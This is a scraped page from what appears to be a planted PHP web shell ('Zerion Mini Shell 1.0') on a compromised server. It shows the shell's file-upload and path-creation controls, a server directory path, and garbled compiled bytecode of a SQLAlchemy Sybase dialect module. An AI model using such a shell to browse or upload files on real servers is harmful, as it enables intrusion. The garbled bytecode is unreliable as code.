%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/sybase/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/sybase/pyodbc.pyc

�
��4]c@s�dZddlZddlmZddlmZddlmZddlm	Z	ddlm
Z
dejfd	��YZd
e
fd��YZ
dee	fd
��YZeZdS(s�
.. dialect:: sybase+pyodbc
    :name: PyODBC
    :dbapi: pyodbc
    :connectstring: sybase+pyodbc://<username>:<password>@<dsnname>[/<database>]
    :url: http://pypi.python.org/pypi/pyodbc/


Unicode Support
---------------

The pyodbc driver currently supports usage of these Sybase types with
Unicode or multibyte strings::

    CHAR
    NCHAR
    NVARCHAR
    TEXT
    VARCHAR

Currently *not* supported are::

    UNICHAR
    UNITEXT
    UNIVARCHAR

i����N(t
processors(ttypes(tPyODBCConnector(t
SybaseDialect(tSybaseExecutionContextt_SybNumeric_pyodbccBseZdZd�ZRS(s�Turns Decimals with adjusted() < -6 into floats.

    It's not yet known how to get decimals with many
    significant digits or very large adjusted() into Sybase
    via pyodbc.

    cs.tt��j|����fd�}|S(NcsU�jr=t|tj�r=|j�dkr=tj|�Sn�rM�|�S|SdS(Ni����(t	asdecimalt
isinstancetdecimaltDecimaltadjustedRtto_float(tvalue(tselft
super_process(sT/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/sybase/pyodbc.pytprocess9s
(tsuperRtbind_processor(R
tdialectR((R
RsT/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/sybase/pyodbc.pyR6s(t__name__t
__module__t__doc__R(((sT/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/sybase/pyodbc.pyR-stSybaseExecutionContext_pyodbccBseZd�ZRS(cCs|rt|_n	t|_dS(N(tTruet
autocommittFalse(R
t
connectionR((sT/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/sybase/pyodbc.pytset_ddl_autocommitHs(RRR(((sT/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/sybase/pyodbc.pyRGstSybaseDialect_pyodbccBseZeZieej6ZRS((RRRtexecution_ctx_clsRtsqltypestNumerictcolspecs(((sT/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/sybase/pyodbc.pyROs(RRt
sqlalchemyRRRtsqlalchemy.connectors.pyodbcRtsqlalchemy.dialects.sybase.baseRRRRRRR(((sT/opt/alt/python27/lib64/python2.7/site-packages/sqlalchemy/dialects/sybase/pyodbc.pyt<module>"s

Zerion Mini Shell 1.0